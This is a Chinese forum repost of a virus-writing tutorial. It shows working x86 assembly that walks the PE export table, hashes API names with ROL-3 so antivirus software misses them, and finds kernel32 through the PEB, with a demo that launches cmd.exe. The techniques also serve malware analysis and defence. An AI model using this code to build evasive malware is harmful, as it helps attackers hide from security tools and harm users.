免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1409 | 回复: 0
打印 上一主题 下一主题

[Anti Virus专题] 1.2 - 3.hash扫描获得api函数地址 (ZT) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-12-21 08:43 |只看该作者 |倒序浏览
4. hash扫描获得api函数地址


  
   今天这篇文章也是病毒编写中很重要的一篇文章,“hash扫描获得api函数地址”,通过它我们的病毒就可以在宿主程序中调用相应平台的库函数。呼,说白 一点就是实现一个自己的GetProcAddress函数,然后通过上节课的所讲解的思路获得Kernel32基地址,然后来搜索api函数地址。


   这篇文章我分为2个栏目:

   1. 搜索获得api函数地址的实现。

   2. hash算法搜索获得api函数地址的实现。
  
   ;;;;写文章比写代码累多了, 希望辛劳的成果能使大家有所收获,也不枉我此套专题。。。。。。。

;-------------------------------------------------
  
   1. 搜索获得api函数地址的实现:

   Windows和之前的dos最大的一个特色就是采用了动态链接库, 这样我们省了很多的内存。我们可以想象一下如果我们的程序都采用静态库的话,那么我们的所有程序所占内存是相当庞大的,而

Windows采用了动态链接库(这样保证了物理内存仅有一份此动态链接库的copy),这些动态链接库分别提供给我们用户了各种各样的编程接口来实现相应的功能,当我们用户程序调用它时必须包含相应的

库文件、函数名称,这样我们的PE LOADER在加载时才会将相应的动态链接库加载我们的进程的内存空间(实际上windows是通过分页机制将这些DLL的物理内存地址指向我们程序虚拟空间的页表中,这样

我们共享的是同一物理内存)。

   那么我们上面介绍了,windows通过动态链接库提供给我们用户了各种各样的编程接口函数,那么一般的动态链接库的后缀是“.dll”,当然其他的后缀也可以,例如“.exe”, “.sys”,只不

过它们不常用罢了。因为加载器判断的不仅仅是文件后缀名,还有我们的文件结构。
  
   所以一般我们调用某个动态库的函数,我们必须增加这个动态库的导入表结构,这样我们的windows 加载器才会把这个动态库加载到我们的内存空间,并修正导入表结构的导入函数地址,以便

我们的程序能正常的调用函数。那么这个动态链接库是如何输出函数来供我们的用户程序调用呢?它实际上是采用输出表结构来描述本dll需要导出哪些函数来供其他的程序调用,这样其他的用户程序才

能正常的调用此动态链接库的输出函数。

   那么关键的点我们已经知道了,那就是动态链接库是采用输出表结构来描述导出函数。那么如果我们调用某动态链接库的输出函数,首先我们肯定是要查找到这些输出函数的地址?在那里查找

?我们肯定是在输出表结构。好明白这点后,我们来看输出表结构。

struct IMAGE_EXPORT_DIRECTORY
   Characteristics            dd       ?   ;未使用
   TimeDateStamp              dd       ?   ;文件生成时间
   MajorVersion               dw       ?   ;主版本号,一般为0
   MinorVersion               dw       ?   ;次版本号,一般为0
   nName                      dd       ?   ;模块的真实名称
   nBase                      dd       ?   ;基数, 加上序数就是函数地址数组的索引值
   NumberOfFunctions          dd       ?   ;AddressOfFunctions阵列的元素个数
   NumberOfNames              dd       ?   ;AddressOfNames阵列的元素个数
   AddressOfFunctions         dd       ?   ;指向函数地址数组
   AddressOfNames             dd       ?   ;函数名字的指针地址
   AddressOfNameOrdinals      dd       ?   ;指向输出序列号数组
ends
  

   为了更好的理解输出表结构,我们采用fasm编写一段自己定义输出表结构的dll代码。

代码:
    format PE GUI 4.0 DLL
   include 'win32ax.inc'
   entry   __DllEntry
  
.text

;++
;
; BOOL
;    DllMain(
;    IN HINSTANCE hDllHandle,
;    IN DWORD      nReason,    
;    IN LPVOID     Reserved    
;    )
;
; Routine Description:
;
;     测试文件是否是PE文件格式。
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - hDllHandle
;        (esp+8) - nReason
;        (esp+12)- Reserved
;
; Return Value:
;
;     eax = TRUE, initialization succeeds; eax = FALSE, initialization fails。
;
;--

__DllEntry:
    xor   eax, eax
    inc   eax      
    ret   4*3

__MyMessageBox:
   xor   eax, eax
   push   eax
   @pushsz   'Dll'
   @pushsz   '一个dll自定导出表结构例子'
   push   eax
   call   [MessageBox]
   ret
  
.idata

section   '.edata' export data     readable

__IMAGE_EXPORT_DIRECTORY:
    dd   0, 0, 0, rva szName, 0, 1, 1
    dd   rva Address_Tab
    dd    rva FuncName_Tab
    dd   rva Ordinals_Tab
   

   ;dll name
   szName   db 'Msg.dll', 0
  
   ;
  
   Address_Tab:
     dd rva __MyMessageBox    ;取__MyMessageBox过程 rva地址
  
   FuncName_Tab:
     dd rva ($+4)      ; ($ + 4) ptr "MyMessageBox"
     db 'MyMessageBox', 0
  
   Ordinals_Tab:
     dw 0
  
  
.fixups
  

    ;++
   OK,以上这段代码是实现自己定义输出表结构来实现输出__MyMessageBox过程的动态链接库,我们可以测试下看我们定义的输出表结构是否成功。再写一段过程,代码如下,然后运行,看我们DLL

指定的输出函数过程是否正常运行。

   invoke   LoadLibrary, 'Msg.dll'
    invoke   GetProcAddress, eax, 'MyMessageBox'
   call   eax
    ret

   我们可以看到首先调用LoadLibray函数来将我们的Msg.dll加载到我们进程的内存空间中,获取Msg.dll加载后的内存地址后,调用GetProcAddress来获得MyMessageBox函数的地址。我们上节课

程已经学习了如何查找kernel32.dll的基地址,那么我们只要实现一个GetProcAddress函数就可以轻松的获取kernel32.dll中的函数地址了。好,接下来我们的重点放在如何实现GetProcAddress函数上



    ;--

   我们看刚刚上面我们自己定义输出表结构的动态链接库代码,看我定义输出表结构,我们来模拟下GetProcAddress的思路。
  
   举个例子:
  
   Ordinals_Tab:
     dw 0 ;索引 0
                 dw 1 ;索引 1
   Address_Tab:
     rva __MyMessageBox   ;对应 索引 0
     rva __MyMessageBox2 ;对应 索引 1
   nBase = 0


   由于Ordinals_Tab 序号表中的序号值,对应的是Address_Tab的索引。

   那么我们搜索函数的时候,只需要获得对应函数的在“Ordinals_Tab中的序号值”,然后通过(序号值 + 索引基数)就可以在Address_Tab中进行索引查找,得到的就是对应函数的RVA地址。简单

说就是
   mov   eax, [Address_Tab + ((Ordinals_Tab中的序号值 + 索引基数)*4)]

   那么,如何取得对应函数的在“Ordinals_Tab中的序号值”?

   这里我们可以在循环匹配函数名称的时候,如果没有匹配成功则将Ordinals_Tab的地址+2    (+2是因为,Ordinals_Tab表中的成员是dw类型,每次+2则表示指向下一个函数的Ordinals)。如果一旦

匹配成功,则直接读取Ordinals_Tab地址中的序号值,然后乘以4, +Address_Tab来读取函数的RVA地址,了解了思路是不是很简单?

   那好,就让我们来实现代码考验下你是否到底明白了?
  
编写代码如下:

代码:
;++
;
; int
;   GetApi(
;    IN HINSTANCE hModule,
;    IN char *     lpApiString,     
;    )
;
; Routine Description:
;
;     获取指定函数的内存地址
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - hDllHandle
;        (esp+8) - lpApiString
; Return Value:
;
;     eax -> Function Mem Address。
;
;--

GetApi:
   pop    edx
   pop   eax       ;hModule
   pop   ecx       ;lpApiString
   push   edx  
   pushad
   mov   ebx, eax     ;hModule   ebx
   mov   edi, ecx     ;lpApiString   edi  
   xor   al, al
   .Scasb:
   scasb
   jnz   .Scasb
   dec   edi
   sub   edi, ecx
   xchg   edi, ecx     ; edi = lpApiString, ecx = ApiLen
  
   mov   eax, [ebx+3ch]  
   mov   esi, [ebx+eax+78h]   ;Get Export Rva
   lea   esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
   lodsd
   xchg   eax, edx     ; edx = NumberOfNames
   lodsd
   push   eax       ; [esp] = AddressOfFunctions
   lodsd
   xchg   eax, ebp
   lodsd
   xchg   eax, ebp     ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
   add   eax, ebx
  
   mov   [esp+4*6], edi     ;临时存储
   mov   [esp+4*5], ecx     ;临时存储

   .LoopScas:  
   dec   edx
   jz   .Ret
   mov   esi, [eax+edx*4]
   add   esi, ebx
   repz   cmpsb
   jz   .GetAddr
   mov   edi, [esp+4*6]    
   mov   ecx, [esp+4*5]    
   jmp   .LoopScas
  
   .GetAddr:
     shl   edx, 1
     add   ebp, edx
   movzx   eax, word [ebp+ebx]
   shl   eax, 2
   add   eax, [esp]
   mov   eax, [ebx+eax]
   add   eax, ebx
   .Ret:
     pop   ecx
     mov   [esp+4*7], eax
   popad
   ret
分析:
   代码其余部分很好理解,我们重点来看这里。


.LoopScas:  
   dec   edx
   jz   .Ret
   mov   esi, [eax+edx*4]
   add   esi, ebx
   repz   cmpsb
   jz   .GetAddr
   mov   edi, [esp+4*6]    
   mov   ecx, [esp+4*5]    
   jmp   .LoopScas
  
   .GetAddr:
     shl   edx, 1
     add   ebp, edx
   movzx   eax, word [ebp+ebx]
   shl   eax, 2
   add   eax, [esp]
   mov   eax, [ebx+eax]
   add   eax, ebx

我们之前的思路说:

   在循环匹配的时候, 如果失败则将Ordinals_Tab的地址+2。但这里我们采用的是从后往前循环并通过NumberOfNames来作为索引来取AddressOfNames成员,所以我们就不能用Ordinals_Tab的地址

+2了(快点快点发挥你的想象力,自己实现个Ordinals_Tab的地址+2思路的函数)。

   不过我们循环的时候是取得NumberOfNames来作为循环条件,这个成员表示的是AddressOfNames的元素个数。所以我们循环匹配函数的时候通过NumberOfNames - 1,如果匹配成功的话此时的

[NumberOfNames*2], 将是Ordinals_Tab的索引值。

   然后我们通过 mov eax, [Ordinals_Tab + (索引值 *2)]来获得 AddressOfFunctions的索引值。然后通过 mov eax, [AddressOfFunctions + (索引值*4)]来获得函数地址。


   思路就是这样,我想大家目前更多的事情应该去思考。   o(∩_∩)o... 祝你好运!
  
;---------------------------------------------------------------------

2. hash算法搜索获得api函数地址的实现


   紧接着我们要讲解到的是hash算法搜索获得api函数地址。如上面的代码,我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在

GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串

还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法

压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。
  

   废话就不多说,我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。代码如下:


代码:
    
;++
;
; int
;    GetRolHash(  
;    IN char * lpApiString   
;    )
;
; Routine Description:
;
;     计算ApiString Hash值
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - lpApiString
;
; Return Value:
;
;     eax = Hash String
;
;--
GetRolHash:
    pop   ecx
    pop   eax
    push   ecx
    push   esi
    xor   edx, edx
    xchg   eax, esi
    cld
   .Next:
    lodsb
    test   al, al
    jz   .Ret
    rol   edx, 3
    xor   dl, al
    jmp   .Next
   
   .Ret:
     xchg   eax, edx
    pop   esi
    ret
   
  

   还有很多方便小巧的算法,例如ROR 13等算法。我比较喜欢ROL 3, 所以推荐这个。那么我们接下来,我们来实现个匹配hash字符串的GetProcAddress,其实它和我们上面的基本一样,只不过它

将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。


   过程如下:
代码:
;++
;
; int
;   GetApi(
;    IN HINSTANCE hModule,
;    IN int       iHashApi,     
;    )
;
; Routine Description:
;
;     获取指定函数的内存地址
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - hDllHandle
;        (esp+8) - iHashApi
; Return Value:
;
;     eax -> Function Mem Address。
;
;--

GetApi:
   pop    edx
   pop   eax       ;hModule
   pop   ecx       ;lpApiString
   push   edx  
   pushad
   mov   ebx, eax     ;hModule   ebx
   mov   edi, ecx     ;iHashApi   edi  
  
   mov   eax, [ebx+3ch]  
   mov   esi, [ebx+eax+78h]   ;Get Export Rva
   lea   esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
   lodsd
   xchg   eax, edx     ; edx = NumberOfNames
   lodsd
   push   eax       ; [esp] = AddressOfFunctions
   lodsd
   xchg   eax, ebp
   lodsd
   xchg   eax, ebp     ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
   add   eax, ebx
   xchg   eax, esi     ; esi = AddressOfNames
  
  
   .LoopScas:  
   dec   edx
   jz   .Ret
   lodsd
   add   eax, ebx
  
   push   edx
  
   ;计算hash字符串
   push   eax
   call   GetRolHash
  
   pop   edx
   cmp   eax, edi
   jz   .GetAddr
  
   add   ebp, 2
   jmp   .LoopScas
  
   .GetAddr:
   movzx   eax, word [ebp+ebx]
   shl   eax, 2
   add   eax, [esp]
   mov   eax, [ebx+eax]
   add   eax, ebx
   .Ret:
     pop   ecx
     mov   [esp+4*7], eax
   popad
   ret
   OK,为了验证没有问题。我们来写一段简单的验证过程。。


代码:
    format PE GUI 4.0
   include 'win32ax.inc'
   entry   __Entry
  
.text

    
__Entry:
    call   GetKrnlBase3
   
    push   0016EF74Bh   ; Hash WinExec
    push   eax
    call   GetApi
   
    push   SW_SHOW
    @pushsz   "cmd.exe"
    call   eax
    ret



;++
;
; int
;   GetApi(
;    IN HINSTANCE hModule,
;    IN int       iHashApi,     
;    )
;
; Routine Description:
;
;     获取指定函数的内存地址
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - hDllHandle
;        (esp+8) - iHashApi
; Return Value:
;
;     eax -> Function Mem Address。
;
;--

GetApi:
   pop    edx
   pop   eax       ;hModule
   pop   ecx       ;lpApiString
   push   edx  
   pushad
   mov   ebx, eax     ;hModule   ebx
   mov   edi, ecx     ;iHashApi   edi  
  
   mov   eax, [ebx+3ch]  
   mov   esi, [ebx+eax+78h]   ;Get Export Rva
   lea   esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
   lodsd
   xchg   eax, edx     ; edx = NumberOfNames
   lodsd
   push   eax       ; [esp] = AddressOfFunctions
   lodsd
   xchg   eax, ebp
   lodsd
   xchg   eax, ebp     ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
   add   eax, ebx
   xchg   eax, esi     ; esi = AddressOfNames
  
  
   .LoopScas:  
   dec   edx
   jz   .Ret
   lodsd
   add   eax, ebx
  
   push   edx
  
   ;计算hash字符串
   push   eax
   call   GetRolHash
  
   pop   edx
   cmp   eax, edi
   jz   .GetAddr
  
   add   ebp, 2
   jmp   .LoopScas
  
   .GetAddr:
   movzx   eax, word [ebp+ebx]
   shl   eax, 2
   add   eax, [esp]
   mov   eax, [ebx+eax]
   add   eax, ebx
   .Ret:
     pop   ecx
     mov   [esp+4*7], eax
   popad
   ret

;++
;
; int
;    GetKrnlBase3(
;     void
;    )
;
; Routine Description:
;
;     获得kernel32基地址
;
; Arguments:
;
;     (esp)           - return address
;
;
; Return Value:
;
;     eax =   krnl32 base
;
;--

GetKrnlBase3:
    mov   eax, [fs:30h]
    mov   eax, [eax+0ch]
    mov   eax, [eax+1ch]
    mov   eax, [eax]
   mov   eax, [eax+8h]
   ret   
   
   
;++
;
; int
;    GetRolHash(  
;    IN char * lpApiString   
;    )
;
; Routine Description:
;
;     计算ApiString Hash值
;
; Arguments:
;
;     (esp)           - return address
;
;     Data    (esp+4) - lpApiString
;
; Return Value:
;
;     eax = Hash String
;
;--
GetRolHash:
    pop   ecx
    pop   eax
    push   ecx
    push   esi
    xor   edx, edx
    xchg   eax, esi
    cld
   .Next:
    lodsb
    test   al, al
    jz   .Ret
    rol   edx, 3
    xor   dl, al
    jmp   .Next
   
   .Ret:
     xchg   eax, edx
    pop   esi
    ret
   
   
  

  
;运行后,程序运行一个cmd窗口,然后退出线程。。



例子:
push   0016EF74Bh   ; Hash WinExec
push   eax
call   GetApi

这段例子代码我采用直接压入对应的函数字符串的hash值(如 WinExec 0016EF74Bh),其实我们利用宏完全可以做到在预编译阶段进行hash计算,这个就留到下下节课来讲解吧,为了大家方便,给大家发

布一个Hash Api String计算器。

如下附件图。。




好了,今天这篇文章就到这里了。大家再见。。总算今天下午把这篇文章给赶出来了。已经快接近0点,大家接着观看吧。。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP